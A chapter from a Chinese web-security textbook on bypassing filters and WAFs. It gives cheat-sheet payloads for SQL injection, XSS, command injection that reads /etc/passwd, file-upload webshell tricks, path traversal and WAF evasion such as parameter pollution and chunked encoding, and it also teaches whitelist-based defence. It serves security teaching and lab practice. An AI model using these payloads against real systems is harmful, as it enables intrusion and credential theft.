前面十几章,我们一直在讲"某种漏洞怎么打"。 但真实世界里,漏洞前面往往站着"防护"——WAF、黑名单、过滤器。 这一章不教"新漏洞",而是给你一套**"绕过"的通用方法论**。 因为你一旦理解了"绕过"的本质,前面每一章的技巧,你都能自己"长"出来。
20.0 开篇:绕过的本质,只有一句话
先看一个最经典的例子。
一个网站在前端做了 XSS 防护:
// 前端把 <script> 标签"删掉"
input = input.replace(/<script>/g, "");
攻击者输入:
<scr<script>ipt>alert(1)</script>
发生了什么? 前端的正则把中间的 <script> 删掉了一次,剩下的字符拼起来变成了:
<script>alert(1)</script>
防护"看到了"这段输入,也"处理"了它——但处理完之后,它偏偏变成了攻击者想要的样子。
🔥 绕过(Bypass)的本质:
防护系统"看到/理解"的东西,和"实际执行"的东西,不一致。
- 防护在第 1 层(字符串过滤)看
- 执行在第 2 层(浏览器/数据库/Shell)做
- 只要这两层的"理解"不同,中间就有绕过空间。
所有的绕过,都是这一个原理的变体。
20.1 绕过的五种"通用武器"
不管面对什么防护,你手里其实只有五种基本武器。所有绕过,都是它们的组合。
20.1.1 武器一:编码 / 解码的不一致
同一个"字符",有许多种"写法"。
字符 <
URL 编码: %3c
双重 URL 编码: %253c
HTML 实体: < < <
Unicode: \u003c
十六进制: 0x3c
八进制: \074
Base64: PA==
UTF-16/UTF-7: 不同字节序列
绕过原理:过滤器只认某一种写法,而解析器认得更多种。
💡 这就是"编码"武器的全部:找"过滤器不认识、但解析器认识"的那种写法。
20.1.2 武器二:大小写 / 别名 / 等价替换
大小写: <SCRIPT> <ScRiPt> SeLeCt
等价词: AND == && , OR == || , = == LIKE
别名: php == php5 == phtml == pht
函数别名:system == shell_exec == passthru == popen
绕过原理:过滤器用"精确匹配",而执行器"大小写不敏感 / 有多个等价形式"。
20.1.3 武器三:多余字符 / 注释 / 空白
SQL 注释: SELECT/**/FROM UN/**/ION
空格替代: /**/ %09 %0a %0d () +(URL 中)
XSS: 属性之间可以用 / 或空格
路径: /./ // /%2e/
HTML 注释: <scr<!-- -->ipt>
绕过原理:过滤器"逐字符匹配关键词",而解析器"遇到注释/空白会跳过"。
20.1.4 武器四:分裂 / 拼接
关键词拆开: <scr<script>ipt> (删一次后拼回)
SEL/**/ECT
\x3cscript\x3e
跨参数拼接: 参数 a + 参数 b 拼成 payload
分段传输: HTTP chunked 把 payload 拆到多个包
环境变量: 用变量拼出命令
绕过原理:过滤器"看单个片段"是安全的,但"拼起来"就成了 payload。
20.1.5 武器五:利用"解析顺序"的差异
□ 先检查后用(TOCTOU):检查时是一个值,用时是另一个值
□ 检查的是编码前,执行的是解码后(或反过来)
□ 检查的是"字符串",执行的是"解析后的语义"
□ 两个组件解析不一致(第 21 章请求走私的根)
□ 白名单检查 host,实际连接另一个(SSRF 的 @ 绕过)
这是"最高级"的一种绕过,因为它不依赖具体的编码技巧,而是利用了系统架构本身的缺陷。
🔥 五种武器对应五句话:
编码 → "换个写法,你就不认识了"
大小写 → "你以为只有一种写法?"
注释空白 → "你逐字看,我跳跃看"
分裂拼接 → "你看片段,我看整体"
解析差异 → "你看到 A,我执行 B"
20.2 分场景绕过速查
下面是"按漏洞类型"的绕过速查表。 每一类,其实都是 20.1 那五种武器的应用。
20.2.1 SQL 注入绕过
【关键字被过滤】
SELECT → SeLeCt、SEL/**/ECT、特殊注释形式包裹 SELECT
UNION → UN/**/ION、UnIoN
AND/OR → && / ||、AND/**/、A/**/ND
空格被过滤 → /**/、%09、%0a、()、+
逗号被过滤 → JOIN 代替、SUBSTRING(x FROM 1 FOR 1)
【引号被过滤】
→ 用 0x 十六进制表示字符串:0x61646d696e
→ 用 CHAR() 函数拼字符
→ 数字型注入不需要引号
【等于号被过滤】
= → LIKE、REGEXP、BETWEEN、IN、> 和 < 组合
【注释符被过滤】
-- → #(MySQL)、/* */
组合示例:
# 原始
' UNION SELECT username, password FROM users-- -
# 绕过(关键字拆分 + 注释)
' UN/**/ION SEL/**/ECT username,pass/**/word FROM users-- -
20.2.2 XSS 绕过
【script 标签被过滤】
→ 换标签:img、svg、body、iframe、details、marquee
→ 大小写:ScRiPt
→ 双写:<scr<script>ipt>
【on 事件被过滤】
→ 换事件名:onerror、onload、onmouseover、onfocus、ontoggle
→ 换标签(不同标签有不同默认事件)
【alert 被过滤】
→ confirm / prompt / print
→ 拼写拆分、用其他方式弹窗
【空格被过滤】
→ <svg/onload=alert(1)> 用 / 代替空格
→ <img/src=x/onerror=alert(1)>
【括号被过滤】
→ 用模板字符串语法包裹 1
→ 用 throw 语句
20.2.3 命令注入绕过
【空格被过滤】
→ 变量 IFS、花括号展开 {cat,/etc/passwd}
→ Tab 字符(%09)
【关键字被过滤】
→ 变量拼接:a=cat;b=/etc/passwd;$a $b
→ 反斜杠:c\at
→ 单引号:c'a't
→ 编码:用 base64 解码后执行
【分隔符被过滤】
→ 分号、管道、&&、||、换行(%0a)换着试
【通配符 */
→ cat /etc/passw*
→ /???/???
示例:
# 原始
; cat /etc/passwd
# 绕过空格和关键词
;c'a't /etc/passw*
20.2.4 文件上传绕过
【扩展名黑名单】
→ 冷门后缀:php5、phtml、pht、phar
→ 大小写:.PHP、.Php
→ 末尾点:.php.
→ 双写:.pphphp
→ ::$DATA(Windows)
【内容检测】
→ 图片马(真实图片头 + 藏代码)
→ 二次渲染缺陷
→ 竞争条件
【.htaccess】
→ 上传 .htaccess 改变解析规则
→ 上传 .user.ini(PHP)
20.2.5 路径穿越绕过
../ → %2e%2e%2f、..%2f、%2e%2e/
过滤一次 → ....// 、....反斜杠
绝对路径 → /etc/passwd(不用 ..)
编码 → 双重编码 %252e%252e%252f
20.2.6 各场景速查汇总表
| 场景 | 常见过滤 | 绕过思路 |
|---|---|---|
| SQL | 关键词 | 大小写 / 注释 / 编码 / 等价 |
| XSS | 标签、事件 | 换标签 / 换事件 / 编码 / 双写 |
| 命令 | 空格、分隔符 | IFS / 变量 / 引号 / 通配符 |
| 上传 | 后缀、类型 | 冷门后缀 / 图片马 / .htaccess |
| 路径 | 上跳符号 | 编码 / 嵌套 / 绝对路径 |
20.3 WAF 绕过
WAF(Web 应用防火墙)是"最专业"的防护,但它的本质决定了它一定能被绕过。
20.3.1 WAF 的工作原理(理解它,才能绕过它)
正常的 WAF 流程:
① 请求到达 WAF
② WAF 按"规则"检查请求(正则匹配危险特征)
③ 没命中 → 转发给后端
④ 命中 → 拦截
WAF 的两个关键弱点:
A. 它做的是"字符串/正则匹配" → 本质是黑名单 → 可编码绕过
B. 它和"后端"是"两个不同的解析器" → 解析差异 = 绕过空间
🔥 WAF 的两大死穴:
① 它是黑名单(规则只能覆盖"已知的攻击模式") ② 它是一个独立的解析器(它的解析 ≠ 后端的解析)
20.3.2 WAF 的七种绕过手法
① 编码绕过 WAF 匹配明文,后端会解码。
%3cscript%3e URL 编码
%253cscript%253e 双重编码
<script> HTML 实体
\u003cscript\u003e Unicode
② 大小写 / 注释绕过
WAF 的正则如果不带 /i,或者只匹配一种写法:
<ScRiPt>
UN/**/ION
SEL/**/ECT
③ 多余字符 / 空白
%09 %0a %0d 三种空白
<img/src=x/onerror=> 用斜杠
④ 参数污染(HPP) 同一个参数名传多次,WAF 取第一个,后端取最后一个:
?id=1&id=1 UNION SELECT ...
WAF 看到第一 个 id=1(安全),后端用了第二个
⑤ 分块传输(Chunked) 把 payload 拆成多个 chunk,WAF 可能"拼不起来":
Transfer-Encoding: chunked
4
UNIO
4
N SE
...
⑥ 利用"解析差异"(最有效) WAF 检查的是"某个字段",后端用的是"另一个字段":
□ WAF 只看 URL,后端读 body
□ WAF 只看 body,后端读 multipart 的 filename
□ WAF 看到的是 Host,后端读 X-Forwarded-Host
□ WAF 解析 Content-Length,后端解析 Transfer-Encoding(→ 请求走私)
⑦ 找 WAF 的"盲区"
□ WAF 可能不检查某些方法(PUT/DELETE)
□ 不检查某些 Content-Type(如 application/json)
□ 不检查某些路径(如静态资源)
□ 不检查 Cookie / 自定义头
□ 不检查超大请求(可能"放行"而非"解析")
20.3.3 先识别 WAF,再谈绕过
# wafw00f:识别 WAF
wafw00f https://target.com
# 也可以手工判断:
□ 响应头里有 WAF 的特征(Cloudflare、Akamai、ModSecurity 等)
□ 发个明显的攻击 payload,看拦截页面的样式
□ 对比不同 WAF 的"默认拦截页"
💡 知道"是哪种 WAF",才能查它"哪种绕过管用"。 不同 WAF 的规则和解析实现不一样。
20.3.4 一个绕过 WAF 的思路框架
① 先发"正常请求",确认它能否到达后端
② 发"明显的攻击 payload",确认它被拦了(触发拦截)
③ 逐步"变形":
- 先试大小写
- 再试插入注释/空白
- 再试编码(一层层加)
- 再试参数污染 / 分块
④ 每次变形,观察"是 '被拦' 还是 '到达了后端'"
⑤ 找到那个"WAF 放行、后端执行"的临界点
🔥 关键心态:
不要"背 payload 列表",而要"理解 WAF 是怎么解析的,然后构造一个'它看不懂、后端看得懂'的请求"。
20.4 "绕过思维"的通用框架
前面讲了这么多技巧,这一节把它们抽象成一套"可以随身携带"的思维框架。
20.4.1 四步绕过法
面对任何防护,按这四步走:
【第 1 步:确认防护存在,并定位它】
- 它拦了什么?在哪一层拦的?(WAF?中间件?业务代码?)
- 它是"报错拦截"还是"静默过滤"?
- 它是"精确匹配"还是"包含匹配"?
【第 2 步:判断"防护层"和"执行层"】
- 防护"看到"的是什么?(字符串?某个字段?某个解析结果?)
- 执行"用到"的是什么?(另一个字段?解码后的值?另一个解析器?)
- 两者的差异在哪?
【第 3 步:构造"两层理解不一致"的输入】
- 换编码(第 2 层认识,第 1 层不认识)
- 换大小写 / 别名 / 等价值
- 插入注释 / 空白(第 1 层逐字看,第 2 层跳过)
- 分裂成片段(第 1 层看片段,第 2 层看整体)
- 参数污染 / 分块(第 1 层取一个,第 2 层取另一个)
- 利用字段差异(第 1 层看 A 字段,第 2 层用 B 字段)
【第 4 步:验证】
- 每次只改"一个变量",观察行为变化
- 找到"防护放行,但后端执行了"的那个点
20.4.2 一个具体的思维示例
目标:绕过 WAF 打 SQL 注入。
【定位】WAF 拦了 "UNION SELECT" 这个明文
【判断】WAF 匹配的是"URL 里的连续字符串"
后端 MySQL 允许"注释拆分关键词"
【构造】UN/**/ION SEL/**/ECT
WAF 看不到完整的 "UNION SELECT"(被注释拆开)
但 MySQL 解析时,注释被忽略 → 等价于 "UNION SELECT"
【验证】发送 → 没被拦 → 返回了数据 → 成功
注意:整个过程,你没有"记住某个 payload",而是"推理出一个 payload"。
20.4.3 一张"绕过武器"对照表
| 防护的弱点 | 对应的绕过武器 |
|---|---|
| 只认一种编码 | 换编码(URL/HTML/Unicode/双编码) |
| 精确匹配字符串 | 大小写 / 别名 / 等价值 |
| 逐字符匹配 | 插入注释 / 空白 / 分隔符 |
| 只看片段 | 分裂 / 拼接 / 双写 |
| 只看某个字段 | 参数污染 / 字段替换 |
| 用自己的解析器 | 解析器不一致(最高级) |
| 只看已知模式 | 找"新花样"(自创等价形式) |
20.5 从绕过看防御:为什么"黑名单"注定失败
理解绕过的最好方式,是从"防御者视角"看它。
20.5.1 黑名单 vs 白名单
【黑名单】
规则:"禁止这些已知的坏东西"
例:禁止 <script>、禁止 UNION、禁止 ../
问题:
□ 攻击者总能找到"不在名单里"的等价形式
□ 名单需要"持续更新",永远滞后
□ 攻击面是"无限的",名单是"有限的"
→ 必然存在绕过 ★
【白名单】
规则:"只允许这些已知的好东西"
例:只允许 [a-zA-Z0-9],只允许 jpg/png,只允许这几个 IP
优势:
□ 攻击面是"有限的",校验是"封闭的"
□ 不在名单里的,一律拒绝
□ 不需要"追着攻击者更新"
→ 从根本上更难绕过
🔥 一句话总结本书反复出现的主线:
黑名单是"堵已知的洞",白名单是"只开该开的门"。 前者永远追不上攻击者,后者天然安全。
20.5.2 为什么"过滤"总是能被绕过
过滤(黑名单)在同一条规则上,有无数种等价绕法。
你要过滤 <script>:
它变成 <ScRiPt> → 大小写
它变成 <scr<script>ipt> → 双写
它变成 <img onerror> → 换标签
它变成 <script> → 编码
它变成 <svg/onload> → 换语法
…… 无穷无尽
而上文提到的根本解(输出编码、参数化、白名单),则"根本不给你变形的空间"。
20.5.3 一个"防御层次"的对照
| 防御方式 | 类型 | 能否被绕过 |
|---|---|---|
| 前端 JS 校验 | 黑名单 | 直接绕过 |
| 关键字过滤 | 黑名单 | 可绕过(编码/变形) |
| 正则黑名单 | 黑名单 | 可绕过(总有没覆盖的写法) |
| WAF 规则 | 黑名单 | 可绕过(解析差异) |
| 参数化查询 | 结构隔离 | 不可绕(数据无法变代码) |
| 输出编码 | 上下文隔离 | 不可绕(数据无法变成标签) |
| 白名单校验 | 白名单 | 不可绕(非法输入直接拒绝) |
| 最小权限 / 网络隔离 | 纵深防御 | 绕过也拿不到更多 |
💡 评估一个防护"靠不靠谱",就一条标准:
它是在"猜攻击者会怎么打"(黑名单),还是在"定义什么是允许的"(白名单/结构隔离)?
20.5.4 给防御者的三条建议
① 【能用白名单,就别用黑名单】
能限定"只允许数字",就别去"过滤非数字字符"
② 【在"结构层"防御,而不是"字符串层"】
参数化查询 > 转义引号
输出编码 > 过滤标签
类型系统 > 字符串校验
③ 【纵深防御,不要指望单点】
就算某层被绕过,下一层还能兜底
例:XSS = 输出编码 + CSP + HttpOnly
20.6 动手任务
任务 1:在 DVWA 上"复现"各类绕过
□ XSS:从阻挡到绕过(大小写 → 换标签 → 双写)
□ SQL:从阻挡到绕过(注释 → 编码 → 等价)
□ 命令注入:从阻挡到绕过(空格 → 变量 → 引号)
□ 文件上传:从阻挡到绕过(后缀 → 类型 → htaccess)
每个都记录:防护是什么?我是怎么绕的?原理是哪种"武器"?
任务 2:Academy 的"绕过"实验
PortSwigger Academy 里有很多"绕过"主题的实验:
□ SQL injection 的 bypass filter 类实验
□ XSS 的各种 context 绕过
□ File upload 的 extension blacklist bypass
□ SSRF 的 blacklist / whitelist bypass
□ Broken authentication 的各种绕过
把它们当作"绕过思维"的训练场。
任务 3:观察一个真实 WAF(仅在你自己的靶场)
① 在本地搭一个 ModSecurity + OWASP CRS(或 ModSecurity Core Rule Set)
② 放在你的靶场前面
③ 发各种 payload,观察:
- 哪些被拦了?
- 拦截页面长什么样?
- 换个编码能绕过吗?
④ 体会"WAF 的规则 vs 真实的请求"之间的差距
任务 4:把"绕过"整理成一张表
把 20.2 里的所有绕过手法,整理成你自己的"绕过速查表":
场景 | 常见防护 | 绕过手法 | 原理(哪种武器)
作为你以后测试时的"弹药库"。
任务 5:从"防御者"视角重写一个功能
选一个"用黑名单过滤"的功能,把它改写成"用白名单验证"的版本。
体会:为什么白名单"不需要不断更新"?
20.7 本章小结
核心结论
- 绕过的本质只有一句话:防护"看到/理解"的,与"实际执行"的,不一致。
- 五种通用武器:编码、大小写/别名、注释/空白、分裂/拼接、解析顺序差异。
- 每一种漏洞的绕过,都是这五种武器的应用(SQL / XSS / 命令 / 上传 / 路径)。
- WAF 的本质是黑名单,有两个死穴:① 只覆盖已知模式 ② 它是独立的解析器(解析差异 = 绕过)。
- WAF 七种绕过:编码、大小写/注释、多余字符、参数污染、分块传输、解析差异(最有效)、找盲区。
- 先识别 WAF(wafw00f),再选绕过策略。
- 绕过思维四步法:定位防护 → 判断"防护层 vs 执行层"的差异 → 构造"不一致"的输入 → 单变量验证。
- 不要背 payload,要会"推理" payload——因为真实系统千变万化。
- 黑名单注定失败,白名单天然安全:过滤是在"猜攻击者怎么打",白名单是"定义什么被允许"。
- 防御的正确方向:白名单 > 黑名单;结构层防御 > 字符串层过滤;纵深防御 > 单点防护。
随身口诀
绕过的本质:防护看到的 != 实际执行的;五把武器:编码、大小写、注释、分裂、解析差异;WAF 是黑名单,也是另一个解析器——差异就是缺口;别再背 payload,理解"两层不一致",你就能自己推出来。
20.8 预告:下一章我们去哪
本章讲的"解析差异",在 HTTP 协议层有一个"登峰造极"的应用——请求走私(Request Smuggling)。
它的威力大到什么程度?一个攻击者的请求,可以"污染"另一个无辜用户的请求,让受害者不知不觉地执行攻击者的操作。
它的门槛也高:需要真正理解 Content-Length / Transfer-Encoding 的解析规则,以及"前端"和"后端"是怎么"各理解一半"的。
第 21 章:请求走私与协议层漏洞。 进阶篇的最后一章。
📌 本章金句 "所有绕过,都是同一个故事的不同版本:系统由很多'层'组成,每一层都在'理解'你发来的数据——而它们理解得不一样。 攻击者的艺术,就是在这些'理解差异'里找到一条路。防御者的艺术,则是让所有层'对同一个输入达成一致',或者干脆不给输入决定权。"